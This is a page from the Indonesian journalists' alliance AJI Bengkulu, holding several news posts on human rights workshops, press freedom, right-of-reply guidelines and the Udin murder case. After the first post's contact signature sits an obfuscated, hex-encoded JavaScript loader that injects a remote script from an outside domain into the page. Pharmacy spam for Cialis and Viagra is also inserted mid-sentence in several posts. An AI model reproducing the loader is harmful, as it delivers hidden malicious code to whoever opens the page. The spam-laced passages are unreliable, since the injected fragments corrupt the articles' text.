Jurnalis Mendalami Kewajiban Sektor Bisnis Menghormati Hak Asasi Manusia

Pekanbaru – Hak asasi manusia (HAM) merupakan hak dasar yang melekat pada setiap manusia sejak lahir, untuk menjaga martabat dan kesetaraan tanpa terkecuali. Tanggung jawab utama pemenuhan (to fulfill), penghargaan (to respect), perlindungan (to protect), dan mengupayakan (to promote) HAM ada di tangan aparatur negara, menggunakan instrument kebijakan dan hukum yang dimiliki.

Kewajiban melindungi hak asasi tersebut tidak hanya pada wilayah sipil dan politik tapi juga wilayah ekonomi, yang beririsan dengan kelompok bisnis. Kerangka otoratif pada United Nations Guiding Principles on Business and Human Rights (UNGP) mengdopsi secara rinci kewajiban-kewajiban dan tanggung jawab baik negara maupun sektor bisnis.

“Untuk mengatasi berbagai macam permasalahan yang terkait dengan dampak-dampak pemenuhan hak asasi manusia (HAM) pada sektor bisnis,” kata Sinthia Dewi Harkrisnowo, Project Manager Business and Human Rights, Oxfam Indonesia, pemateri Workshop Bisnis dan HAM untuk jurnalis yang diselenggaraan Aliansi Jurnalis Independen (AJI) bekerja sama dengan INFID dan Oxfam dengan dukungan European Union (EU), Jumat 18/11).

Workshop yang diikuti 30 jurnalis dari berbagai daerah seperti Medan, Pontianak, Jawa Timur, Jakarta, Aceh, Pekanbaru, Bengkulu, dan Jambi, Rabu-Jumat (16-18/11) di Pekanbaru. Workshop ini bagian dari Festival Media AJI 2016.

Kerangka UNGP, kata Sinthia, menekankan pada tiga pilar: kewajiban negara melindungi HAM, kewajiban perusahaan menghormati HAM dan akses pemulihan bagi masyarakat yang mengalami dampak aktivitas perusahaan.

Sektor bisnis atau perusahaan-perusahaan memiliki kewajiban untuk melakukan Uji Tuntas HAM. Hasilnya akan menggambarkan identifikasi dampak kewajiban-kewajiban perusahaan dalam upaya melakukan penghormatan terhadap HAM khususnya masyarakat di sekitar wilayah operasional perusahaan ataupun masyarakat yang terkena dampak dari operasi bisnis tersebut.

Perusahaan perlu terlibat karena Mukadimah Deklarasi Universal HAM menyatakan semua organ masyarakat harus mengusahakan, mempromosikan penghormatan atas hak dan kebebasan, menjaga sifat universal, pengakuan dan penghormatan efektif atas HAM di setiap wilayah negaranya. Pelaku usaha adalah salah satu organ masyarakat.

Pasal 1(6) UU No. 39 tahun 1999 tentang Hak Asasi Manusia menyatakan pelanggaran HAM adalah setiap perbuatan seseorang atau kelompok orang termasuk aparat negara baik disengaja maupun tidak disengaja atau kelalaian. Kata “kelompok orang” tersebut dapat dikategorikan termasuk “korporasi”. denmarkapotek.com/kob-billig-cialis-piller-online-under-recept/ Dalam konteks bisnis, pasal tersebut memperkuat dasar untuk menekankan tanggung jawab HAM pelaku usaha.

Terkait dengan lingkungan hidup, UU No. 23 Tahun 1997 tentang Pengelolaan Lingkungan Hidup memuat pertanggungjawaban pidana bagi perusahaan/korporasi yang berbuat merusak dan atau mencemarkan lingkungan hidup (Pasal 41 s/d pasal 46). Perusakan dan atau pencemaran lingkungan hidup berpotensi menimbulkan pelanggaran HAM. “EU baru mengadopsi kesepakatan bersama negara-negara anggota tentang komitmen mengadopsi UNGP tidak hanya di internal negara mereka tapi juga hubungan dengan negara lain. Konteks Indonesia, isu utama agar membuat country HAM strategis,” kata Saiti Gusrini, Programme Manager European Instrument for Democracy and Human Rights (EIDHR), European Union dalam sambutannya.

Pengaduan masyarakat ke Komisi Nasional (Komnas) HAM terkait pelanggaran HAM, perusahaan menduduki peringkat kedua selama tiga tahun berturut-turut.

untitled

Sinthia menambahkan keterlibatan pelaku usaha dalam menegakkan HAM dalam semua dimensi, dapat memberi keuntungan bagi perusahaan. Perusahaan tidak hanya mendapat reputasi yang baik, semangat kerja dan motivasi yang lebih baik dari para pekerja karena produktifitas lebih tinggi. “Dapat menekan biaya dari konflik berkepanjangan,” kata Sinthia.

Sementara itu Mugiyanto, Senior Program Officer for Human Rights and Democracy (INFID), mengatakan instrument UNGP dapat menjadi acuan utama untuk memperkaya dan memperdalam isu HAM bagi jurnalis.

Ketua AJI Indonesia Suwarjono mengatakan jurnalis mempunyai peran penting untuk mendorong dan mengedukasi pelaku usaha terlibat dalam penegakan HAM dan masyarakat tahu haknya. “Workshop ini bagian dari peningkatan kapasitas jurnalis,” katanya.

Kontak Person:
Y. Hesthi Murthi/ AJI (087888839543)

Salam Hangat,

*Yekthi Hesthi Murthi
Ketua Bidang Perempuan dan Kelompok Marjinal
Aliansi Jurnalis Independen (AJI) Indonesia
HP : 087888839543 (WA) var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)

Media Online Lokal Bukan Kompetitor

Bandar Lampung – Hadirnya media online lokal bukan untuk menjadi kompetitor media mainstream, namun sebagai media pelengkap dalam menyajikan informasi-informasi lokal daerah dengan konten-konten berita yang lebih menarik dan proporsional. Di samping itu, penyajian informasi lokal daerah lebih lengkap, mendalam dan analitis (in depth news).

“Setelah mengikuti acara ini, media online lokal diharapkan mengilhami pengetahuan tentang bagaimana menyajikan konten-konten menarik dalam membentuk platform media online-nya,” kata Ketua Aliansi Jurnalis Indpenden (AJI) Bandar Lampung, Padli Ramdan di hari akhir workshop di Hotel Whiz Prime, Jl Ahmad Yani No.21 Tanjung Karang, Bandar Lampung, Sabtu (6/8/2016).

Sementara itu, Pemateri Sabine Torres pada sesi akhir juga menuturkan, jika ingin media online mudah diingat dan dikenal publik serta berada dalam posisi strategis di mesin pencarian (google), maka ada ketentuan, prosedur serta trik-trik yang harus dilakukan.

“Saya berharap, semua pengetahuan yang telah diberikan, dapat diimplementasikan dalam media online anda,” terangnya dalam Bahasa Inggris.

Workshop yang selesai digelar selama 2 hari itu memaparkan tentang Editorial Strategy, Marketing Strategy dan Technical Strategy. Kegiatan pun ditutup dengan pengabadian momen dengan foto bersama. [**]

 

Penulis:
Aji Asmuni – Bidang Organisasi AJI Bengkulu

Rekrutmen Anggota Baru AJI Bengkulu

Penerimaan Anggota

Bersamaan dengan ini kami dari AJI Bengkulu, memberi kesempatan kepada kalangan jurnalis di wilayah Bengkulu untuk bisa bergabung dengan AJI Bengkulu.

Adapun syaratnya :
1. Jurnalis di wilayah Kabupaten dan Kota di Bengkulu. Baik cetak nasional/lokal, online lokal/nasional, tv lokal/nasional.

Profesi jurnalis yang dimaksud, reporter, perwarta foto, video journalist, juru kamera, editor/redaktur, kurator berita, produser siaran berita, editor foto berita, editor video berita, periset berita, kolumnis, ilustrator berita, karikaturis, perancang grafis berita, pengecek fakta, penulis cuplikan berita di Tv dan jejaring sosial, pembaca berita di Tv dan radio, Jangkar berita (News pharmacieprincipale24 Anchor) dan jurnalis warga.

2. Mengisi formulir yang telah disediakan AJI Bengkulu.

3. Mendapatkan rekomendasi tiga orang anggota AJI Bengkulu

4. Formulir dapat diambil di Sekretariat AJI Bengkulu atau menghubungi Ketua Bidang Organisasi AJI Bengkulu, Demon Fajri. Hp. 0813-7385-5152

5. Untuk lebih lengkap mengenai syarat menjadi anggota silahkan datang langsung ke Sekretariat AJI Bengkulu atau menghubungi Ketua Bidang Organisasi AJI Bengkulu, Demon Fajri. Hp. 0813-7385-5152

6. Pendaftaran tidak dikenakan biaya/gratis.

7. Pendaftaran dibuka sejak Jumat 27 Mei hingga 11 Juni 2016.

8. Pengembalian formulir paling lambat 12 Juni 2016.

Atas perhatiannya kami ucapkan terimakasih.

8 Anggota AJI Bengkulu Ikuti Festival Media 2015

Jakarta – Delapan jurnalis anggota Aliansi Jurnalis Independen (AJI) Bengkulu, mengikuti gelaran Festival Media (Fesmed) 2015 yang digelar pada Jum'at-Minggu (14-15 November 2015). Gelaran tersebut merupakan rangkaian dari kegiatan peringatan Hari Ulang Tahun AJI ke-21 tahun ini dengan Jakarta sebagai tuang rumah, dengan mengangkat tema “Cerdas Memilih Media”.

Jurnalis Bengkulu yang mengikuti gelaran tersebut yakni, Betty Herlina (Rakyat Bengkulu), Demon Fajri (Okezone.com), Firmansyah (Kompas.com), Lisa Rosari (Radar Selatan), Yasrizal (Kupas Bengkulu), Phesi Ester Julikawati (Tempo) dan Ricky Jenihansen B (Rakyat Merdeka Online Bengkulu).

“Keikutsertaan kawan-kawan Jurnalis anggota AJI Bengkulu dalam Fesmed adalah sebagai ajang silahturahmi membangun jaringan dengan sesama jurnalis lainnya dari seluruh Indonesia sekaligusn untuk peningkatan kapasitas Jurnalis,” kata Ketua AJI Bengkulu, Dedek Hendry.

Dedek mengatakan, pada gelaran tersebut, para Jurnalis akan ikut serta dalam beberapa agenda memang yang sudah disiapkan panitia untuk dapat saling bersilahturahmi membangun jaringan.

“Dalam gelaran tersebut, ada acara ghatering jurnalis se-Indonesia, sehingga bisa dimanfaatkan seluruh Jurnalis, termasuk Jurnalis dari Bengkulu untuk dapat membangun jaringan dari seluruh Indonesia, serta bisa membuka peluang seperti misalnya sindikasi media atau agregasi media,” terang Dedek.

Selain itu, ada juga beberapa agenda yang diperuntukan sebagai peningkatan kapasitas para jurnalis dan media, sehingga setelah Kann man Sildenafil 50 mg ohne Rezept bestellen? mengikuti kegiatan tersebut, para jurnalis bisa meningkatkan profesionalisme.

“Beberapa kegiatannya yakni, workshop monetize atau meraup rupiah dari media online dan monetize your video yang akan menghadirkan pembicara CEO MalesBanget.com Critian Sugiono yang telah sukses dengan chanel jalan-jalan men di You Tube,” jelasnya.

Seperti diketahui, dalam penyelenggaraan Fesmed 2015 tahun ini, AJI bekerjasama dengan Universitas Atmajaya Jakarta. Acara Festival Media ini digelar 14-15 November 2015 dan dipusatkan di Kampus Unika Atmajaya yang berada di Jl. Jenderal Sudirman No. 51, Jakarta.

Acara festival media ini terbuka untuk umum dan gratis. Sebagian besar acara dilaksanakan secara paralel dalam ruangan terpisah. Publik yang ingin berpartisipasi dalam festival media ini bisa mendaftarkan diri melalui email: fesmedjakarta2015@gmail.com atau langsung mendaftar melalui website http://festival-media.aji.or.id.

AJI: Kritik Bukan Ujaran Kebencian

Jakarta –  Aliansi Jurnalis Independen menuntut Kepolisian Republik Indonesia menindak tegas segala ujaran kebencian terhadap agama, suku, dan ras, serta mempidanakan segala anjuran kekerasan atas dasar perbedaan agama, suku, dan ras. Sebaliknya, Aliansi Jurnalis Independen menolak upaya kriminalisasi kritik kepada pejabat dan lembaga publik sebagai ujaran kebencian.

“Memasukkan kritik ke unsur pencemaran nama baik atau perbuatan tidak menyenangkan ke ujaran kebencian berpotensi menghambat kebebasan berpendapat. Tafsir pencemaran nama baik dan perbuatan tidak menyenangkan itu bersifat karet, bila tidak dipahami aparat kepolisian, berpotensi menjadi pintu masuk mempidanakan sikap kritis masyarakat, termasuk mempidanakan jurnalis atau media. Ini bahaya. Bila kebebasan berpendapat terbelenggu, ini ancaman serius bagi kebebasan pers,” kata Ketua Umum AJI, Suwarjono.

Kepolisian telah mengeluarkan Surat Edaran Kepala Kepolisian Republik Indonesia (Polri) Nomor SE/6/X/2015 tentang Penanganan Ujaran Kebencian. Dalam surat edaran tersebut tercantum tujuh bentuk ujaran kebencian, yaitu penghinaan, pencemaran nama baik, penistaan, perbuatan tidak menyenangkan, memprovokasi, menghasut dan penyebaran berita bohong yang bertujuan menyulut kebencian di kalangan individu atau kelompok masyarakat.

Aliansi Jurnalis Independen menilai surat edaran penanganan ujaran kebencian telah mengaburkan batasan universal tentang ujaran kebencian. Seharusnya, penindakan hukum terhadap para penyebar ujaran kebencian dilakukan tanpa melanggar hak warga negara untuk berekspresi, sebagaimana dijamin Undang-undang Dasar 1945, Deklarasi Universal Hak Asasi Manusia, serta Konvenan Hak Sipil dan Politik yang telah diratifikasi Republik Indonesia.

“Kami menunggu konsistensi Polri dalam menindak penyebar ujaran kebencian yang marak dilakukan kelompok intoleran. Kami menyayangkan Polri justru abai terhadap berbagai ujaran kebencian bahkan ancaman kekerasan yang dilakukan oleh kelompok radikal. Kami melihat, Surat Edaran Kepala Polri justru lebih didasari kepentingan politik, untuk membungkam kritik terhadap penyelenggara negara dan lembaga negara,” tegas Suwarjono.

Senada disampaikan Ketua Bidang Advokasi AJI Indonesia, Iman D Nugroho, yang meminta Polri menerapkan batasan pengertian universal tentang tindakan ujaran kebencian, demi memastikan tidak terjadinya kriminalisasi kritik terhadap penyelenggara dan lembaga negara. Batasan pengertian yang paling obyektif adalah batasan penggunaan hak berekspresi yang telah diatur rinci oleh Konvenan Hak Sipil dan Politik.

“Ujaran kebencian adalah ujaran yang menistakan atau merendahkan martabat seseorang karena latar belakang agama, suku, dan ras. Ancaman dan anjuran kekerasan berlatar belakang agama, suku, dan ras juga harus ditindak tegas, karena kebebasan berekpresi tidak boleh disalahgunakan untuk menghancurkan kebebasan hak asasi orang yang lain. italiapharmacia24 Kami menuntut Polri hanya menggunakan ukuran baku Konvenan Hak Sipil dan Politik sebagai ukuran ujaran kebencian, karena ukuran yang sumir membahayakan kebebasan berekspresi,” kata Iman Nugroho.

Iman juga merujuk kepada Pernyataan Bersama Perserikatan Bangsa-bangsa, Organisasi Keamanan dan Kerjasama Eropa (OSCE) dan Organisasi Negara-negara Amerika (OAS) pada 2001, yang merumuskan batasan penindakan atas ujaran kebencian. “Penindakan itu harus memastikan bahwa tindakan hukum tidak boleh dilakukan bagi pernyataan yang sahih kebenarannya. Pemidanaan juga tidak boleh dilakukan kecuali jika terdapat bukti kuat bahwa sebuah ujaran kebencian diniatkan untuk menghasut kebencian, diskriminasi, dan kekerasan. Ekspresi kritik terhadap penyelenggara negara dan lembaga negara tidak boleh dikriminalisasi sebagai ujaran kebencian,” kata Iman Nugroho. (**)

Pedoman Hak Jawab

Kemerdekaan pers adalah salah satu wujud dari kedaulatan rakyat berasaskan prinsip-prinsip demokrasi, keadilan, supremasi hukum, dan Hak Asasi Manusia. Kemerdekaan pers perlu dimanfaatkan sebesar-besarnya untuk kepentingan masyarakat, bangsa, dan negara.

Pelaksanaan kemerdekaan pers dapat diwujudkan oleh pers yang merdeka, profesional, patuh pada asas, fungsi, hak, kewajiban, dan peranannya sesuai Undang-Undang Nomor 40 Tahun 1999 tentang Pers, serta Kode Etik Jurnalistik.

Dalam menjalankan peran dan fungsinya, pers wajib memberi akses yang proporsional kepada masyarakat untuk ikut berpartisipasi memelihara kemerdekaan pers dan menghormati Hak Jawab yang dimiliki masyarakat. Untuk itu, Pedoman Hak Jawab ini disusun:

  1. Hak Jawab adalah hak seseorang, sekelompok orang, organisasi atau badan hukum untuk menanggapi dan menyanggah pemberitaan atau karya jurnalistik yang melanggar Kode Etik Jurnalistik, terutama kekeliruan dan ketidakakuratan fakta, yang merugikan nama baiknya kepada pers yang memublikasikan.
  2. Hak Jawab berasaskan keadilan, kepentingan umum, proporsionalitas, dan profesionalitas.
  3. Pers wajib melayani setiap Hak Jawab.
  4. Fungsi Hak Jawab adalah:
    a. Memenuhi hak masyarakat untuk mendapatkan informasi yang akurat;
    b. Menghargai martabat dan kehormatan orang yang merasa dirugikan akibat pemberitaan pers;
    c. Mencegah atau mengurangi  munculnya kerugian yang lebih besar bagi masyarakat dan pers;
    d. Bentuk pengawasan masyarakat terhadap pers.
  5. Tujuan Hak Jawab untuk:
    a. Memenuhi pemberitaaan atau karya jurnalistik yang adil dan berimbang;
    b. Melaksanakan tanggung jawab pers kepada masyarakat;
    c. Menyelesaikan sengketa pemberitaan pers; d. Mewujudkan iktikad baik pers.
  6. Hak Jawab berisi sanggahan dan tanggapan dari pihak yang dirugikan.
  7. Hak Jawab diajukan langsung kepada pers yang bersangkutan, dengan tembusan ke Dewan Pers.
  8. Dalam hal kelompok orang, organisasi atau badan hukum, Hak Jawab diajukan oleh pihak yang berwenang dan atau sesuai statuta organisasi, atau badan hukum  bersangkutan.
  9. Pengajuan Hak Jawab dilakukan secara tertulis (termasuk digital) dan ditujukan kepada penanggung jawab pers bersangkutan atau menyampaikan langsung kepada redaksi dengan menunjukkan identitas diri.
  10. Pihak yang mengajukan Hak Jawab wajib memberitahukan informasi yang dianggap merugikan dirinya baik bagian per bagian atau secara keseluruhan dengan data pendukung.
  11. Pelayanan Hak Jawab tidak dikenakan biaya.
  12. Pers dapat menolak isi Hak Jawab jika:
    a. Panjang/durasi/jumlah karakter materi Hak Jawab melebihi pemberitaan atau karya jurnalistik yang dipersoalkan;
    b. Memuat fakta yang tidak terkait dengan pemberitaan atau karya jurnalistik yang dipersoalkan;
    c. Pemuatannya dapat menimbulkan pelanggaran hukum;
    d. Bertentangan dengan kepentingan pihak ketiga yang harus dilindungi secara hukum.
  13. Hak Jawab dilakukan secara proporsional:
    a. Hak Jawab atas pemberitaan atau karya jurnalistik yang keliru dan tidak akurat dilakukan baik pada bagian per bagian atau secara keseluruhan dari informasi yang dipermasalahkan;
    b. Hak Jawab dilayani pada tempat atau program yang sama dengan pemberitaan atau karya jurnalistik yang dipermasalahkan, kecuali disepakati lain oleh para pihak;
    c. Hak Jawab dengan persetujuan para pihak dapat dilayani dalam format ralat, wawancara, profil, features, liputan, talkshow, pesan berjalan, komentar media siber, atau format lain tetapi bukan dalam format iklan;
    d. Pelaksanaan Hak Jawab harus dilakukan dalam waktu yang secepatnya, atau pada kesempatan pertama sesuai dengan sifat pers yang bersangkutan;
    1) Untuk pers cetak wajib memuat Hak Jawab pada edisi berikutnya atau selambat-lambatnya pada dua edisi sejak Hak Jawab dimaksud diterima redaksi.
    2) Untuk pers televisi dan radio wajib memuat Hak Jawab pada program berikutnya.
    e. Pemuatan Hak Jawab dilakukan satu kali untuk setiap pemberitaaan;
    f. Dalam hal terdapat kekeliruan dan ketidakakuratan fakta yang bersifat menghakimi, fitnah dan atau bohong, pers wajib meminta maaf.
  14. Pers berhak menyunting Hak Jawab sesuai dengan prinsip-prinsip pemberitaan atau karya jurnalistik, namun tidak boleh mengubah substansi atau makna Hak Jawab yang diajukan.
  15. Tanggung jawab terhadap isi Hak Jawab ada pada penanggung jawab pers yang memublikasikannya.
  16. Hak Jawab tidak berlaku lagi jika setelah 2 (dua) bulan sejak berita atau karya jurnalistik dipublikasikan pihak yang dirugikan tidak mengajukan Hak Jawab, kecuali atas kesepakatan para pihak.
  17. Sengketa mengenai pelaksanaan Hak Jawab diselesaikan oleh Dewan Pers.

Sesuai Undang-Undang Nomor 40 Tahun 1999 tentang Pers, pers yang tidak melayani Hak Jawab selain melanggar Kode Etik Jurnalistik juga dapat dijatuhi sanksi hukum pidana denda paling banyak Rp.500.000.000,00 (Lima ratus juta rupiah).

Jakarta, 29 Oktober 2008

 

Dewan Pers

Kepada Yang Terhormat Bapak Joko Widodo

September 2015

Kepada Yang Terhormat Bapak Joko Widodo
Presiden Republik Indonesia

Istana Merdeka
Jakarta Pusat 10110, Indonesia

CC: General Badrodin Haiti, Kepala Polisi RI

Bapak Presiden Joko Widodo Yang Terhormat,

Kami, International ¿Cuánto cuesta el original Viagra? Partnership Mission for Indonesia (IPMI) dan Aliansi Jurnalis Independen (AJI), mendesak Anda untuk memerintahkan investigasi komprehensif terhadap kasus pembunuhan wartawan Muhammad Syafruddin (Udin).

Udin, wartawan surat kabar harian Bernas di Yogyakarta, diserang oleh dua orang di depan rumahnya pada tanggal 13 Agustus 1996. Dia meninggal tiga hari kemudian karena luka parah. Investigasi polisi pada awalnya berfokus pada dugaan adanya perselingkuhan yang kemudian terbukti salah.

Investigasi independen yang dilakukan oleh beberapa lembaga termasuk AJI menemukan bukti bahwa pembunuhan itu berkaitan dengan laporan Udin tentang korupsi dan pemilihan bupati. Pada Desember 2014, IPMI mengeluarkan rekomendasi tentang kebebasan berekspresi di Indonesia, termasuk perlunya pemerintah Indonesia membuka kembali investigasi pembunuhan Udin dan mengalokasikan sumber daya untuk mengidentifikasi dan menghukum pembunuh Udin.

Meskipun Pengadilan Negeri Sleman memutuskan bahwa Kasus Udin masih terbuka, masih ada tanda-tanda kemajuan atau indikasi bahwa pemerintah menyadari kasus ini sebagai prioritas.

Kekerasan terhadap jurnalis merupakan pelanggaran terhadap hak berekspresi dan impunit. as bagi pembunuhan terhadap jurnalismengancam demokrasi Indonesia. Sembilan belas tahun lalu, pembunuhan Udin yang tidak terkuak membuat posisi Indonesia dalam HAM dipertanyakan. Ketidaktegasan pemerintah akan melanggengkan impunitas dan dalam Kasus Udin, hal ini telah membuat keluargan teman, dan kolega dalam posisi tanpa keadilan selama hampir dua dasarawarsa.

Kasus Udin yang tidak teratasi bukanlah kasus tunggal, namun juga merefleksikan budaya impunitas terhadap kekerasan terhadap jurnalis secara lebih luas.

IPMI merasa perlu untuk mengulang sekali lagi bahwa Indonesia memilikikewajiban di bawah The International Covenant on Civil and Political Rights untuk menyidik Kasus Udin dengan baik, dan melindungi hak jurnalis untuk melakukan tugasnya dengan aman. Kami mendesak Anda untuk menekan Polisi Republik Indonesia untuk memulai penyidikan terhadap pembunuh Udin. Kami juga mendesak pemerintah Indonesia untuk menginvestigasi kesalahan penanganan dalam investigasi sebelumnya seperti diatur oleh Mahkamah Konstitusi.

Rekomendasi lengkap bagi perlindungan kebebasan berekspresi di Indonesia bisa ditemukan di bawah ini>

[ARTICLE 19, Committee to Protect Journalists,
Center for Law and Democracy, International Federation of Journalists, International Media Support, Southeast Asian Press Alliance]
Yang menandatangani:

ARTICLE

Committee to Protect Journalists
Centre for Law and Democracy
International Federation of Journalists
International Media Support
Southeast Asian Press Alliance
Open Society Foundations
Tifa Foundation
LBH Pers Indonesia Network

AJI Bengkulu Kawal Perempuan Desa Bangun Media Perjuangan Perempuan

Aktaku – Aliansi Jurnalis Independen (AJI) Bengkulu mengawal perempuan di Desa Sumber Urip, Rejang Lebong yang berinisiatif membangun media untuk memperjuangkan hak asasi perempuan (HAP), khususnya hak kesehatan seksual dan reproduksi (HKSR). Ini dilakukan AJI Bengkulu untuk mengapresiasi kesadaran perempuan di Desa Sumber Urip mengenai arti penting jurnalisme dan media sebagai sarana mendorong perubahan sosial. “Bagian dari memperjuangkan demokratisasi informasi, hak asasi manusia dan isu perempuan,” kata Koordinator Divisi Advokasi AJI Bengkulu Firmansyah, Kamis (5/3/2015) malam.

Firmansyah mengungkapkan hal tersebut usai berbagi pengetahuan dan pengalaman mengenai jurnalisme dan media bersama 10 perempuan Desa Sumber Urip yang tergabung sebagai anggota kelompok Harapan Perempuan, dampingan Cahaya Perempuan WCC, di rumah ketua kelompok Harapan Perempuan, Suhartini. Kegiatan yang difasilitasi Cahaya Perempuan WCC itu dimulai pukul 20.00 hingga 22.15 WIB, Kamis (5/3/2015). Selain Firmansyah (kontributor kompas.com), kegiatan juga melibatkan Koordinator Fundraising AJI Bengkulu Harry Siswoyo (redaktur vivanews.com) dan Ketua AJI Bengkulu Dedek Hendry (kontributor Mongabay.co.id).

Berdasarkan pengamatan saat kegiatan dilakukan, antusias peserta cukup tinggi. Hal ini terlihat dari keaktifan peserta saat diminta mengungkapkan pengalaman sehari-hari sebagai pengguna media dan melaksanakan peran sebagai “jurnalis” bagi lingkungannya. Baik mengenai fungsi media, manfaat berita/informasi, dan metodologi yang dilakukan untuk memperoleh data atau fakta yang dibutuhkan. Termasuk saat diminta membuat tulisan singkat berbentuk berita, peserta terlihat mampu.

“Ini adalah pertemuan pertama, dan tentunya akan berlanjut. Paling tidak ada tiga hal yang akan kami bekali. Bukan hanya keterampilan membuat berita, tetapi juga manajemen keredaksian dan manajemen media yang akan dibangun. Mengenai bentuk medianya, mereka yang akan menentukan. Namun sesuai dengan perkembangan zaman, kami akan menyarankan agar secara perlahan berbentuk multiplatform,” tambah Firmansyah.

Sebelumnya, Ketua Kelompok Harapan Perempuan Suhartini mengatakan, media akan dimanfaatkan untuk mempublikasikan berita-berita menyangkut isu perempuan khususnya hak kesehatan seksual dan reproduksi, pertanian dan sosial kemasyarakatan. Inisiatif membangun media komunitas ditujukan sebagai bagian berpartisipasi untuk membangun perempuan dan desa. “Secara khusus, kami ingin desa kami bebas dari kasus kekerasan terhadap perempuan, dan HKSR perempuan dilindungi,” kata Suhartini.

Untuk diketahui, 12 HKSR tersebut meliputi 1. Hak untuk hidup. 2. Hak atas kemerdekaan dan keamanan. 3. Hak atas kesetaraan dan bebas dari segala bentuk diskriminasi. 4. Hak atas kerahasiaan pribadi. 5. Hak atas kebebasan berpikir. 6. Hak mendapatkan informasi dan pendidikan. 7. Hak untuk menikah atau tidak menikah serta membentuk dan merencanakan keluarga. 8. Hak untuk memutuskan mempunyai anak atau tidak dan kapan mempunyai anak . 9. Hak atas pelayanan dan perlindungan kesehatan. 10. Hak untuk mendapatkan manfaat dari kemajuan ilmu pengetahuan. 11. Hak atas kebebasan berkumpul dan berpartisipasi dalam politik, 12. Hak untuk bebas dari penganiayaan dan perlakuan buruk. (aktaku.wordpress.com)